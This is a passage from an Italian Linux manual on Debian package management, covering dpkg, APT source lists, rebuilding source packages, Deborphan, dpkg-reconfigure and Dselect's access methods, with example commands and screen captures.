`--compare-versions` ***versione_1*** ↩ ↪***operatore*** ***versione_2***	Si tratta di una richiesta particolare con la quale si ottiene il confronto tra due stringhe che rappresentano una versione (completa di revisione). Ciò può essere molto utile nella realizzazione di script. Se il confronto dà un risultato *Vero*, l'eseguibile '**`dpkg`**' restituisce zero, mentre negli altri casi restituisce un valore maggiore. Gli operatori che possono essere utilizzati sono elencati nella tabella 7.16.

Tabella 7.16. Utilizzo dell'opzione '**`--compare-versions`**' con '**`dpkg`**'.

Espressione	Descrizione
`--compare-versions` ***ver_1*** `eq` ***ver_2***	*Vero* se le versioni sono uguali.
`--compare-versions` ***ver_1*** `ne` ***ver_2***	*Vero* se le versioni sono differenti.
`--compare-versions` ***ver_1*** `lt` ***ver_2***	*Vero* se la prima versione è minore della seconda.
`--compare-versions` ***ver_1*** `le` ***ver_2***	*Vero* se la prima versione è minore o uguale alla seconda.

Espressione	Descrizione
`--compare-versions` *ver_1* `gt` *ver_2*	*Vero* se la prima versione è maggiore della seconda.
`--compare-versions` *ver_1* `ge` *ver_2*	*Vero* se la prima versione è maggiore o uguale alla seconda.

Segue la descrizione di alcuni esempi.

- `$` **`dpkg -c zsh_3.1.2-10.deb`** [*Invio*]

  Mostra l'elenco dei file che compongono il pacchetto '**`zsh`**', contenuti nell'archivio indicato, esclusi i file che vengono creati dagli script del pacchetto stesso.

- `$` **`dpkg -I zsh_3.1.2-10.deb`** [*Invio*]

  Mostra tutte le informazioni disponibili sull'archivio indicato.

- `#` **`dpkg -i zsh_3.1.2-10.deb`** [*Invio*]

  Installa, o aggiorna, il pacchetto contenuto nell'archivio indicato, ammesso che ciò sia possibile in relazione alle dipendenze di questo.

- `#` **`dpkg -r zsh`** [*Invio*]

  Rimuove il pacchetto indicato, senza eliminare i file di configurazione.

- `#` **`dpkg -P zsh`** [*Invio*]

  Elimina completamente il pacchetto indicato, compresi i file di configurazione.

- `$` **`dpkg -l`** [*Invio*]

  Elenca lo stato di tutti i pacchetti installati, o dei quali rimangono i file di configurazione.

- `$` **`dpkg -l z\*`** [*Invio*]

  Elenca lo stato di tutti i pacchetti conosciuti che iniziano con la lettera «z». Si osservi l'uso della barra obliqua inversa per proteggere l'asterisco contro l'interpretazione da parte della shell.

- `$` **`dpkg -s zsh`** [*Invio*]

  Mostra le informazioni sullo stato del pacchetto indicato, in modo più dettagliato.

- `$` **`dpkg -L zsh`** [*Invio*]

  Elenca i file che appartengono al pacchetto '**`zsh`**'.

- `$` **`dpkg -S /bin/cat`** [*Invio*]

  Cerca di scoprire a chi appartiene il file '`/bin/cat`' (scoprendo che appartiene al pacchetto '**`textutils`**').

7.7.7 Gestione più evoluta dei pacchetti: organizzazione di una copia della distribuzione

Per una gestione più evoluta dei pacchetti, occorre definire la fonte di questi, dalla quale deve essere ottenibile il file '`Packages`'. Per comprendere la cosa, è necessario prima di tutto conoscere in che modo dovrebbe essere organizzato un CD-ROM o una copia nel file system della distribuzione. Lo schema seguente rappresenta l'essenziale (la metavariabile ***arch*** viene sostituita dalla sigla dell'architettura per cui sono fatti i pacchetti):

```
debian/
 |-- .disk/
 |     `-- info
 |
 `-- dists/
       |-- stable/
       |     |-- main/
       |     |     `-- binary-arch/
       |     |           |-- Packages
       |     |           |-- Packages.gz
       |     |           |-- Packages.cd
       |     |           |-- Packages.cd.gz
       |     |           `-- *.deb
       |     |
       |     |-- contrib/
       |     |     `-- binary-arch/
       |     |           |-- Packages
       |     |           |-- Packages.gz
       |     |           |-- Packages.cd
       |     |           |-- Packages.cd.gz
       |     |           `-- *.deb
       |     |
       |     |-- non-free/
       |     |     `-- binary-arch/
       |     |           |-- Packages
       |     |           |-- Packages.gz
       |     |           |-- Packages.cd
       |     |           |-- Packages.cd.gz
       |     |           `-- *.deb
       |     |
       |     |-- non-US/
       |     |     `-- binary-arch/
       |     |           |-- Packages
       |     |           |-- Packages.gz
       |     |           |-- Packages.cd
       |     |           |-- Packages.cd.gz
       |     |           `-- *.deb
       |     |
       |     `-- local/
```

```
|           `-- binary-arch/
|               |-- Packages
|               |-- Packages.gz
|               |-- Packages.cd
|               |-- Packages.cd.gz
|               `-- *.deb
|
`--local/
    `-- local --> ../stable/local
```

Il file '`debian/.disk/info`' è indispensabile quando la distribuzione è suddivisa su più dischi. Questo file contiene una riga che serve a identificare l'unità di memorizzazione. I file '`debian/dists/stable/*/binary-`***arch***`/Packages`', assieme alle loro versioni compresse con '**`gzip`**', contengono le informazioni sui pacchetti contenuti negli archivi che si trovano nella stessa directory, o in quelle successive, mentre i file '`debian/dists/stable/*/binary-`***arch***`/Packages.cd`' contengono le informazioni di tutti i file '`Packages`' delle stesse directory per tutti i dischi in cui si articola la distribuzione.

Di tutta questa struttura, la directory '`debian/`' è la radice, o l'inizio, e questa è la posizione che viene richiesta dai programmi per la gestione dei pacchetti quando devono attingere le informazioni sulla disponibilità dei pacchetti.

Come si vede dalla struttura mostrata, una distribuzione Debian si articola anche in componenti, a causa di possibili limitazioni nell'uso e nella distribuzione del software relativo. In generale, gli archivi che si trovano a partire da '`debian/dists/stable/main/`' sono quelli principali che non contengono limitazioni particolari, mentre per gli altri valgono considerazioni differenti. Le varie componenti in cui si articola una distribuzione sono identificate dai nomi delle directory che si diramano da '`debian/dists/stable/`'.

7.7.8 APT a livello essenziale

Il sistema APT si basa sul programma di servizio '**`apt-get`**', che a sua volta si avvale di '**`dpkg`**'.

Per funzionare, '**`apt-get`**' richiede la presenza di un file di configurazione, '`/etc/apt/sources.list`', all'interno del quale vanno elencate le fonti da cui si possono ottenere delle distribuzioni Debian. Questo file può contenere commenti, preceduti dal simbolo '**`#`**', righe vuote che vengono ignorate come i commenti e righe contenenti ognuna l'indicazione di un'origine, espressa secondo la sintassi seguente:

`deb` ***uri_inizio_distribuzione*** ***distribuzione*** ***componente***...

Per esempio, per indicare l'utilizzo della distribuzione '**`stable`**' (come mostrato fino a questo punto negli esempi) contenuta a partire da '`/home/pippo/debian/`', della quale si vogliono tutte le componenti normali, si può utilizzare la direttiva seguente:

```
deb file:/home/pippo/debian/ stable main contrib non-free non-US local
```

Nello stesso modo si potrebbero indicare degli URI riferiti a siti FTP o HTTP. Inoltre, è importante tenere presente che si possono indicare molte fonti differenti, come si vede dall'esempio seguente:

```
deb file:/home/pippo/1/debian/ stable main contrib non-free non-US local
deb file:/home/pippo/2/debian/ stable main contrib non-free non-US local
deb http://ftp.us.debian.org/debian stable main contrib non-free
deb http://non-us.debian.org/debian-non-US stable non-US
```

Dopo la configurazione, '**apt-get**' richiede espressamente che gli sia ordinato di leggere le sorgenti per aggiornare l'elenco locale dei pacchetti disponibili, in modo da disporre di una visione di ciò che esiste e delle dipendenze relative. Si osservi lo schema sintattico per l'utilizzo di '**apt-get**':

apt-get [*opzioni*] [*comando*] [*pacchetto*...]

Da quello che si vede, nella riga di comando di '**apt-get**' non si fa mai riferimento direttamente ad archivi Debian, ma sempre solo a pacchetti.

Per comprendere il funzionamento di '**apt-get**' è bene cominciare da alcuni esempi. Normalmente si inizia aggiornando l'elenco locale dei pacchetti disponibili:

apt-get update [*Invio*]

Quindi potrebbe essere conveniente chiedere l'aggiornamento dei pacchetti, riferiti alla stessa versione della distribuzione che si sta utilizzando:

apt-get upgrade [*Invio*]

Per installare o aggiornare un pacchetto specifico, soddisfacendo le dipendenze necessarie, si può intervenire come nell'esempio seguente, dove si mostra in che modo installare o aggiornare il pacchetto '**zsh**', rispettando le dipendenze:

apt-get install zsh [*Invio*]

Infine, per aggiornare il proprio sistema a una nuova versione della distribuzione, si utilizza il comando seguente:

apt-get -f dist-upgrade [*Invio*]

Questo è seguito generalmente da una richiesta esplicita di configurazione dei pacchetti che ne avessero bisogno, per mezzo di '**dpkg**':

dpkg --configure --pending [*Invio*]

Tabella 7.20. Alcuni comandi.

Opzione	Descrizione
update	Risincronizza l'elenco locale dei pacchetti rispetto alle origini dichiarate nel file di configurazione. In generale, prima di un comando '**upgrade**' o '**dist-upgrade**', occorrerebbe eseguire un comando '**update**'.

Opzione	Descrizione
`upgrade`	Aggiorna tutti i pacchetti che risultano già installati, per i quali è disponibile un aggiornamento. L'aggiornamento non viene fatto se questo può provocare degli inconvenienti.
`dist-upgrade`	Aggiorna tutti i pacchetti che risultano già installati, per i quali è disponibile un aggiornamento. L'aggiornamento viene fatto tenendo conto delle dipendenze, che nel frattempo potrebbero essere cambiate (di solito quando si tratta di un aggiornamento che coinvolge l'intera distribuzione). Di solito, dopo questo tipo di operazione, si avvia il comando '**`dpkg --configure --pending`**' allo scopo di procedere con la configurazione di ciò che richiede tale passaggio.
`install` ***pacchetto***...	Installa i pacchetti indicati come argomento, provvedendo a sistemare anche le dipendenze. È bene sottolineare che vanno indicati i nomi dei pacchetti e non i nomi degli archivi che li contengono.
`check`	Esegue un controllo, anche sui pacchetti che sono stati installati in modo errato.
`clean`	APT utilizza un deposito transitorio per gli archivi utilizzati per l'installazione o l'aggiornamento. Si tratta della directory '`/var/cache/apt/archives/`', che va ripulita periodicamente attraverso il comando '**`clean`**'.

Tabella 7.21. Alcune opzioni.

Opzione	Descrizione
`-f` `--fix-broken`	Con l'uso di questa opzione si fa in modo che '**`apt-get`**' cerchi di sistemare i problemi legati alle dipendenze. Questa opzione può essere usata da sola, senza l'indicazione di un comando, oppure con un comando, di solito '**`dist-upgrade`**', per richiedere espressamente la sistemazione dei problemi che si possono generare con lo stesso.
`-s` `--simulate`	Simula l'esecuzione del comando, in modo da mostrare cosa si otterrebbe.

7.7.9 Ricerca dei file che apparentemente non appartengono ad alcun pacchetto

Con l'aiuto di Dpkg è possibile cercare di individuare a quale pacchetto appartiene questo o quel file. Precisamente si usa l'opzione '**`-S`**', come nell'esempio seguente:

$ **`dpkg -S /etc/timezone`** [*Invio*]

In questo caso si fa riferimento al file '`/etc/timezone`' e si dovrebbe ottenere una segnalazione simile a quella seguente, da cui si comprende che il file è abbinato al pacchetto '**`timezones`**':

```
timezones: /etc/timezone
```

Per avere una visione di insieme dei file che potrebbero essere stati abbandonati inavvertitamente, si può usare Cruft,[4] che scandisce il file system e genera un rapporto. Naturalmente,

non tutto ciò che viene indicato è necessariamente un file superfluo, ma è comunque il punto di partenza per la propria ricerca.

```
cruft [opzioni]
```

L'eseguibile '**cruft**' può essere usato solo dall'utente '**root**' e l'elenco che genera, di file sospetti, viene emesso attraverso lo standard output, a meno che siano usate delle opzioni particolari.

7.7.10 Ricerca dei pacchetti che possono essere disinstallati senza problemi di dipendenze

L'individuazione dei pacchetti che possono essere eliminati senza problemi di dipendenze, è un compito piuttosto complesso senza l'utilizzo di uno strumento apposito. Per questo si può usare Deborphan[5] che, se usato senza argomenti, si limita a elencare i pacchetti delle librerie che, apparentemente, non servono:

```
deborphan [opzioni] [pacchetto]...
```

Tabella 7.23. Alcune opzioni significative per l'utilizzo di Deborphan.

Opzione	Descrizione
`-d` `--show-deps`	Mostra le dipendenze dei pacchetti indicati alla fine della riga di comando.
`-n` `--nice-mode`	Elenca anche i pacchetti che non sono indispensabili, pur essendo suggeriti o raccomandati da altri.
`-a` `--all-packages`	Elenca tutti i pacchetti che risultano dall'interrogazione richiesta, senza limitare il risultato alle sole librerie.
`-P` `--show-priority`	Mostra la priorità dei pacchetti che risultano dall'interrogazione.
`-s` `--show-section`	Mostra la sezione a cui appartengono i pacchetti ottenuti dall'interrogazione.

Eventualmente, si può controllare il funzionamento di Deborphan tramite Orphaner,[6] che viene distribuito assieme a Deborphan stesso, il quale si comporta da programma frontale interattivo:

```
orphaner [--purge] [opzioni_deborphan]
```

Con l'opzione '**--purge**' si specifica di voler eliminare completamente i pacchetti che devono essere selezionati successivamente (eliminando anche i file di configurazione), mentre

ogni opzione successiva viene passata tale e quale al programma '**deborphan**', allo scopo di cambiare l'elenco dei pacchetti selezionabili.

Figura 7.24. L'aspetto di '**orphaner**' durante il suo funzionamento. In questo caso non sono state indicate opzioni di alcun tipo, pertanto vengono elencati soltanto i nomi delle librerie inutili.

```
.--------------------------Orphaner V1.1-----------------------------.
| Select Packages for removal or cancel to quit:                     |
| .---------------------------------------------------------------.  |
| |                   [ ] fftw2     main/libs                     | |
| |                   [ ] ldso      main/oldlibs                  | |
| |                   [ ] libdb4.1  main/libs                     | |
| |                   [ ] libpng3   main/libs                     | |
| |                                                               | |
| |                                                               | |
| |                                                               | |
| |                                                               | |
| |                                                               | |
| |                                                               | |
| |                                                               | |
| '---------------------------------------------------------------' |
|--------------------------------------------------------------------|
|       <   OK   >    <Simulate>    < Cancel >    <  Help  >         |
'--------------------------------------------------------------------'
```

7.7.11 Riconfigurazione

L'installazione di un pacchetto prevede anche una fase di configurazione, che in molti casi è determinata in modo automatico, mentre il resto delle volte richiede un'interazione con un programma. Questa comunicazione tra utente e programma di installazione serve a creare al volo i file di configurazione necessari al funzionamento dei programmi che compongono il pacchetto; di solito, dopo tale operazione è possibile intervenire a mano in questi file, ma spesso ciò non è conveniente. Per ripetere la configurazione di un pacchetto già installato, si può usare '**dpkg-reconfigure**', che fa parte del pacchetto Debconf:[7]

dpkg-reconfigure [*opzioni*] ***pacchetto***

Per esempio, si può usare il comando seguente per riconfigurare il pacchetto '**debconf**':

dpkg-reconfigure debconf [*Invio*]

L'esempio mostra una situazione abbastanza comune, dal momento che il pacchetto '**debconf**' serve proprio a definire il comportamento della distribuzione in fase di configurazione dei pacchetti:

```
.-----------------------[?] Configuring Debconf--------------------------.
| Packages that use debconf for configuration share a common look and    |
| feel. You can select the type of user interface they use.              |
|                                                                        |
| The dialog frontend is a full-screen, character based interface, while |
| the readline frontend uses a more traditional plain text interface, and|
| the gnome frontend is a modern X interface. The editor frontend lets   |
| you configure things using your favorite text editor. The              |
| noninteractive frontend never asks you any questions.                  |
|                                                                        |
| What interface should be used for configuring packages?                |
| .--------------------------------------------------------------------. |
| |                            Dialog                                  | |
| |                            Readline                                | |
| |                            Gnome                                   | |
| |                            Editor                                  | |
| |                            Noninteractive                          | |
| '--------------------------------------------------------------------' |
|------------------------------------------------------------------------|
|                       <  OK  >            <Cancel>                     |
'------------------------------------------------------------------------'
```

Selezionando la voce `Dialog` si passa a un'altra richiesta, in cui si specifica il livello di attenzione che si vuole dare alla configurazione:

```
.------------------------[?] Configuring Debconf------------------------.
| Debconf prioritizes the questions it asks you. Pick the lowest priority |
| of question you want to see:                                            |
|   - 'critical' only prompts you if the system might break.              |
|     Pick it if you are a newbie, or in a hurry.                         |
|   - 'high' is for rather important questions                            |
|   - 'medium' is for normal questions                                    |
|   - 'low' is for control freaks who want to see everything              |
|                                                                         |
|                                                                         |
| Note that no matter what level you pick here, you will be able to see   |
| every question if you reconfigure a package with dpkg-reconfigure.      |
|                                                                         |
| See only questions that are of what priority and higher?                |
| .--------------------------------------------------------------------.  |
| |                              medium                                |  |
| |                              critical                              |  |
| |                              high                                  |  |
| |                              low                                   |  |
| '--------------------------------------------------------------------'  |
|-------------------------------------------------------------------------|
|                       <  OK  >            <Cancel>                      |
'-------------------------------------------------------------------------'
```

È disponibile anche un programma frontale per accedere alla configurazione dei pacchetti, partendo dalla classificazione a cui questi appartengono, con Configure-debian:[8]

```
configure-debian [opzioni]
```

Le opzioni che si possono indicare nella riga di comando vengono passate tali e quali al programma '**dpkg-reconfigure**', nel momento in cui questo viene avviato. Segue un esempio di utilizzo del programma:

`#` **`configure-debian`** [*Invio*]

```
.-------Configure Packages---------.
|                                  |
|                                  |
| Which subsection do you want?    |
| .------------------------------. |
| |         admin                | |
| |         base                 | |
| |         comm                 | |
| |         devel                | |
| |         doc                  | |
| |         editors              | |
| |         libs                 | |
| |         misc                 | |
| |         net                  | |
| |         otherosfs            | |
| |         shells               | |
| |         sound                | |
| `---------.(+)-----------------' |
|----------------------------------|
|      <  OK  >    <Cancel>        |
`----------------------------------'
```

Scorrendo l'elenco viene scelta la voce '**`tex`**':

```
.------------Configure Packages--------------.
|                                            |
|                                            |
| Which program do you want to configure?    |
| .----------------------------------------. |
| |             tetex-base                 | |
| |             tetex-bin                  | |
| `----------------------------------------' |
|--------------------------------------------|
|          <  OK  >      <Cancel>            |
`--------------------------------------------'
```

Viene selezionata la voce '**`tetex-base`**', che così viene configurato. Al termine viene proposto di configurare un altro pacchetto:

```
.--------------Configure Packages-----------------.
|                                                 |
|                                                 |
| Would you like to configure another program?    |
|                                                 |
|                                                 |
|-------------------------------------------------|
|             <  Yes  >      <  No  >             |
`-------------------------------------------------'
```

7.7.12 Pacchetti Debian sorgenti

I pacchetti sorgenti messi a disposizione dalla distribuzione GNU/Linux Debian sono composti generalmente da tre file:

```
nome_versione-revisione.dsc
```

```
nome_versione-revisione.orig.tar.gz
```

```
nome_versione-revisione.diff.gz
```

Il file con estensione '`.dsc`' contiene informazioni essenziali sul pacchetto, con le firme eventuali, per garantire la sua integrità. Il file con estensione '`.orig.tar.gz`' contiene i sorgenti originali, archiviati attraverso tar+gz. Il file con estensione '`.diff.gz`' è un file di differenze da applicare per l'adattamento alla distribuzione; eventualmente questo file potrebbe mancare se il pacchetto nasce espressamente per la distribuzione Debian.

Per compilare un pacchetto occorre prima estrarlo, applicandogli le modifiche previste. Per farlo nel modo corretto, si usa il comando seguente, dove si suppone che nella directory corrente siano disponibili i tre file del pacchetto che interessa:

$ **dpkg-source -x** ***nome_versione-revisione*** **.dsc** [*Invio*]

In questo modo si ottiene la directory '***nome-versione***/', all'interno della quale bisogna entrare per avviare uno script che viene creato proprio con l'applicazione delle modifiche:

$ **cd** ***nome-versione*** [*Invio*]

$ **su** [*Invio*]

debian/rules binary [*Invio*]

Come si vede, è stato necessario acquisire i privilegi dell'utente '**`root`**' per procedere alla compilazione.

In alternativa, se manca il file con estensione '`.dsc`', si può rimediare nel modo seguente:

$ **tar xzvf** ***nome_versione-revisione*** **.orig.tar.gz** [*Invio*]

$ **cd** ***nome-versione*** [*Invio*]

$ **cat ../*****nome_versione-revisione*** **.diff.gz | gunzip | patch -p1** [*Invio*]

$ **chmod a+x debian/rules** [*Invio*]

$ **su** [*Invio*]

debian/rules binary [*Invio*]

Come si vede, si devono applicare le modifiche manualmente, quindi occorre attribuire al file '`debian/rules`' i permessi di esecuzione. Il resto funziona regolarmente.

Al termine si ottiene il file '***nome_versione*-*revisione_arch*.`deb`', contenente il pacchetto binario pronto per l'installazione.

È evidente che, se si vogliono apportare delle modifiche ulteriori al sorgente, queste vanno fatte dopo l'estrazione e dopo l'applicazione delle modifiche già previste per la distribuzione Debian. Volendo ricostruire un pacchetto sorgente corretto, si interviene secondo la sequenza seguente.

1. Si estrae l'archivio originale e si applicano le modifiche già previste:

   `$` **`tar xzvf`** ***nome_versione-revisione*** **`.orig.tar.gz`** [*Invio*]

   `$` **`cd`** ***nome-versione*** [*Invio*]

   `$` **`cat ../`*****nome_versione-revisione*****`.diff.gz | gunzip | patch -p1`** [*Invio*]

   `$` **`cd ..`** [*Invio*]

2. Si fanno le modifiche aggiuntive che si ritengono necessarie.

3. Si cancella il file con estensione '`.diff.gz`' e '`.dsc`':

   `$` **`rm`** ***nome_versione-revisione*** **`.diff.gz`** [*Invio*]

   `$` **`rm`** ***nome_versione-revisione*** **`.dsc`** [*Invio*]

4. Si ricostruisce tutto con '**`dpkg-source`**':

   `$` **`dpkg-source -b`** ***nome-versione*** [*Invio*]

   In pratica, l'argomento dell'opzione '**`-b`**' è il nome della directory contenente i sorgenti modificati.

Al termine si ottiene un file '***nome_versione*-*revisione***.`diff.gz`' nuovo, assieme al file '***nome_versione*-*revisione***.`dsc`' appropriato.

7.8 Ricompilazione dei pacchetti Debian sorgenti

Può capitare di avere la necessità di ricompilare un pacchetto con opzioni differenti. Attraverso il sistema APT è possibile gestire in modo semplice la ricompilazione dei pacchetti sorgenti della distribuzione GNU/Linux Debian.

Come per i pacchetti compilati, anche per accedere ai pacchetti sorgenti attraverso il sistema APT, è necessario predisporre il file '`/etc/apt/sources.list`'. In questo caso, servono direttive che iniziano con la parola chiave '**`deb-src`**':

```
deb-src uri_inizio_distribuzione distribuzione componente...
```

Ecco alcuni esempi:

```
deb-src http://mi.mirror.garr.it/mirrors/debian stable    main contrib
deb-src http://mi.mirror.garr.it/mirrors/debian testing   main contrib
deb-src http://mi.mirror.garr.it/mirrors/debian unstable  main contrib
```

Naturalmente, nello stesso file '/etc/apt/sources.list' possono convivere anche le direttive relative all'origine di pacchetti già compilati e pronti per l'uso.

Ogni pacchetto sorgente ha bisogno dei propri strumenti di sviluppo per poter procedere alla sua ricompilazione. Di certo sono necessari due pacchetti: '**fakeroot**' e '**build-essential**':

apt-get install fakeroot build-essential [*Invio*]

Per il resto, fortunatamente, c'è un modo semplice per installare esattamente ciò che serve:

apt-get build-dep ***nome*** [*Invio*]

Per esempio, si suppone di voler installare ciò che serve per ricompilare il pacchetto '**mc**' (Midnight Commander):

apt-get build-dep mc [*Invio*]

Il pacchetto dei sorgenti può essere acquisito senza privilegi particolari, pertanto si può operare in qualità di un utente comune. Ci si posiziona all'interno di una directory che si considera appropriata, quindi si procede:

$ **apt-get source** ***nome*** [*Invio*]

Continuando con l'ipotesi di voler ricompilare il pacchetto '**mc**' (Midnight Commander), il comando è il seguente:

$ **apt-get source mc** [*Invio*]

Supponendo di accedere alla versione '**4.6.1-2**', si ottengono i file 'mc_4.6.1.orig.tar.gz', 'mc_4.6.1-2.dsc' e 'mc_4.6.1-2.diff.gz'; inoltre si ottiene la sottodirectory 'mc-4.6.1/', contenente i sorgenti estratti; il tutto a partire dalla directory corrente.

Per modificare i sorgenti si entra nella directory che li contiene e si procede con le modifiche che si ritengono necessarie. Nella maggior parte dei casi si tratta solo di modificare il modo in cui viene avviato lo script '**configure**', ma per questo occorre intervenire nel file 'debian/rules', oppure, come nel caso particolare di '**mc**', nel file 'debian/rocks'.

$ **cd mc-4.6.1** [*Invio*]

...

Dopo le modifiche ci si posiziona all'inizio della directory dei file sorgenti, quindi si procede con il comando seguente:

$ **dpkg-buildpackage -rfakeroot -uc -us** [*Invio*]

Si ottiene la ricompilazione e la creazione di un pacchetto Debian pronto per l'installazione, ma nella directory che precede la posizione corrente (la directory genitrice).

Supponendo di avere ottenuto il file '../mc_4.6.1-2_i386.deb', lo si può installare così:

```
# dpkg -i ../mc_4.6.1-2_i386.deb [Invio]
```

Come si vede dall'esempio, ovviamente, per installare il pacchetto servono i privilegi dell'amministratore del sistema.

7.9 Dselect

Dselect[9] è uno strumento molto importante per la gestione dei pacchetti Debian, nel momento in cui si vuole tenere sotto controllo il quadro completo della situazione. Si tratta di un programma frontale che gestisce direttamente Dpkg e può avvalersi della configurazione di APT per quanto riguarda l'origine da cui prelevare i pacchetti da installare.

È fondamentale la comprensione di molti dettagli di funzionamento di questo programma, per poterlo sfruttare al meglio, considerato che il suo utilizzo non è molto intuitivo.

7.9.1 Menù iniziale

Dselect è un programma interattivo, rappresentato dall'eseguibile '**dselect**', che di solito si avvia senza argomenti:

```
# dselect [Invio]
```

Il suo funzionamento è suddiviso in sei passaggi, rappresentati dal suo menù iniziale, che in generale dovrebbero essere eseguiti secondo la sequenza prevista:

1. scelta del metodo di accesso agli archivi della distribuzione;
2. aggiornamento dell'elenco dei pacchetti disponibili;
3. selezione dei pacchetti da installare, da rimuovere o da eliminare dal sistema;
4. installazione o aggiornamento dei pacchetti, in base alla selezione fatta;
5. richiesta esplicita di eseguire la configurazione dei pacchetti per i quali questa operazione non fosse stata eseguita, o che non fosse stata completata normalmente (di solito, l'installazione provvede anche alla loro configurazione);
6. rimozione o eliminazione dei pacchetti in base alle richieste fatte in fase di selezione.

In generale, al completamento di uno di questi passaggi, Dselect suggerisce automaticamente di passare al successivo. La figura 7.31 mostra il menù introduttivo di Dselect.

Figura 7.31. Il menù iniziale di Dselect.

```
Debian Linux `dselect' package handling frontend.

 * 0. [A]ccess      Choose the access method to use.
   1. [U]pdate      Update list of available packages, if possible.
   2. [S]elect      Request which packages you want on your system.
   3. [I]nstall     Install and upgrade wanted packages.
   4. [C]onfig      Configure any packages that are unconfigured.
   5. [R]emove      Remove unwanted software.
   6. [Q]uit        Quit dselect.

Use ^P and ^N, cursor keys, initial letters, or digits to select;
Press ENTER to confirm selection.   ^L to redraw screen.
```

Se si utilizza Dselect con un monitor monocromatico, è molto importante ricordarsi di configurare correttamente la variabile di ambiente ***TERM***, in modo che questa contenga un nome di un terminale monocromatico (potrebbe trattarsi del nome '**`vt100`**' o '**`vt220`**', basta verificare nella directory '`/usr/share/terminfo/v/`'), altrimenti si fa molta fatica a decifrare il significato delle varie informazioni che appaiono sullo schermo, soprattutto si fa fatica a individuare il cursore di selezione. Per esempio, si potrebbe usare il comando seguente:

`#` **`TERM=vt100 ; dselect`** [*Invio*]

La selezione della voce desiderata avviene in modo molto semplice: per spostare il cursore di selezione si possono usare i tasti freccia, le cifre numeriche corrispondenti, o le iniziali; per selezionare la voce evidenziata basta premere [*Invio*].

7.9.2 Metodo di accesso ai pacchetti della distribuzione

Come accennato, è bene seguire l'ordine prestabilito, per cui si comincia dalla selezione del metodo di accesso agli archivi della distribuzione. La figura 7.32 mostra il menù che si potrebbe presentare dopo tale selezione.

Figura 7.32. Il menù di selezione del metodo di accesso alla distribuzione.

```
#### dselect - list of access methods ###################################
  Abbrev.        Description
  cdrom          Install from a CD-ROM.
* multi_cd       Install from a CD-ROM set.
  nfs            Install from an NFS server (not yet mounted).
  multi_nfs      Install from an NFS server (using the CD-ROM set)
  harddisk       Install from a hard disk partition (not yet mounted).
  mounted        Install from a filesystem which is already mounted.
  multi_mount    Install from a mounted partition with changing contents.
  floppy         Install from a pile of floppy disks.
  apt            APT Acquisition [file,http,ftp]


#### Access method `multi_cd'. ###########################################
multi_cd - Install from a CD-ROM set.

Installation from a CD-ROM set containing a Debian distribution.  The
CD-ROMs may be or not be mounted already and should contain a standard
ISO9660 CD-ROM filesystem.





#### explanation of multi_cd #############################################
```

Come si può osservare, l'immagine sullo schermo è suddivisa in due parti: quella superiore che contiene l'elenco dei metodi di accesso, dove si esegue la selezione, e quella inferiore che contiene la descrizione della voce su cui si trova il cursore di selezione in quel dato momento (in questo caso si tratta della voce '**`multi_cd`**'). Come nel menù generale, il cursore si può spostare utilizzando i tasti freccia e anche altre combinazioni (è disponibile una guida interna accessibile attraverso la pressione di [*F1*] o di [*?*], dalla quale si esce premendo la [*barra-spaziatrice*]); infine, premendo [*Invio*] si seleziona la voce in cui si trova il cursore.

È bene sottolineare che l'elenco dei metodi di accesso potrebbe essere composto da un numero maggiore o minore di possibilità, in base alla disponibilità effettiva. Qui vengono descritti solo alcuni metodi di accesso, dal momento che poi il meccanismo di selezione si ripete con una logica simile anche negli altri.

7.9.3 Accesso attraverso un disco ottico unico

Il metodo di accesso corrispondente alla sigla '**`cdrom`**' è ormai un po' antiquato, utilizzabile solo con una distribuzione Debian ridotta a un solo disco ottico. Una volta fatta la selezione, viene richiesto quale file di dispositivo deve essere utilizzato per l'innesto del disco e di solito viene proposto già '`/dev/cdrom`':

```
  I see that /dev/cdrom exists and is a block device.

Insert the CD-ROM and enter the block device name [/dev/cdrom]:
```

Se la realtà corrisponde a quanto proposto (lo si vede tra parentesi quadre), basta confermare premendo [*Invio*], diversamente si scrive il percorso del file di dispositivo adatto e quindi si conferma sempre con [*Invio*]. Se tutto procede regolarmente, Dselect tenta di accedere al disco e dovrebbe riuscirci anche se questo è già stato innestato in precedenza.

```
Insert the CD-ROM and enter the block device name [/dev/cdrom]: [Invio]


  All directory names should be entered relative to the root of the CD-ROM.

  I would like to know where on the CD-ROM the top level of the Debian
  distribution is (eg. 'dists/stable') - this directory usually contains the
  Packages-Master file.

  If the CD-ROM is badly organised and doesn't have a straightforward copy of
  the distribution you may answer 'none' and we'll go through the parts
  I need individually.

  Last time you said '/debian/dists/stable', and that looks plausible.

Distribution top level ?  [/debian/dists/stable]:
```

A questo punto, viene richiesta l'indicazione della directory di inizio della distribuzione, tenendo conto che il percorso deve essere indicato partendo dalla directory radice del disco stesso. Di solito, un disco di una distribuzione Debian dovrebbe essere organizzato esattamente come propone Dselect, per cui dovrebbe bastare premere [*Invio*].

```
Distribution top level ?  [/debian/dists/stable]: [Invio]
```

Se il disco è organizzato esattamente come si aspetta Dselect, allora tutto va bene, altrimenti si è costretti a inserire ogni singola directory e ogni singolo percorso dei vari blocchi in cui può essere divisa la distribuzione.

```
  Using '/debian/dists/stable/main/binary-i386' as main binary dir.
  Using '/debian/dists/stable/main/binary-i386/Packages.gz' for main.
  Using '/debian/dists/stable/contrib/binary-i386' as contrib binary dir.
  Using '/debian/dists/stable/contrib/binary-i386/Packages.gz' for contrib.
  Using '/debian/dists/stable/non-free/binary-i386' as non-free binary dir.
  Using '/debian/dists/stable/non-free/binary-i386/Packages.gz' for non-free.
  Using '/debian/dists/stable/non-US/binary-i386' as non-US binary dir.
  Using '/debian/dists/stable/non-US/binary-i386/Packages.gz' for non-US.
  Using '/debian/dists/stable/local/binary-i386' as local binary dir.
  Using '/debian/dists/stable/local/binary-i386/Packages.gz' for local.


Hit RETURN to continue.
```

Quelle che si vedono sono le informazioni che Dselect richiede; se queste directory non sono esattamente lì dove Dselect si aspetta che siano, occorre indicarle tutte una per una, inoltre per ognuna occorre specificare dove si trova il file '`Packages.gz`' relativo. Comunque, alla fine la cosa si conclude qui e si torna al menù iniziale.

```
Hit RETURN to continue.[Invio]
```

7.9.4 Accesso attraverso un insieme di dischi

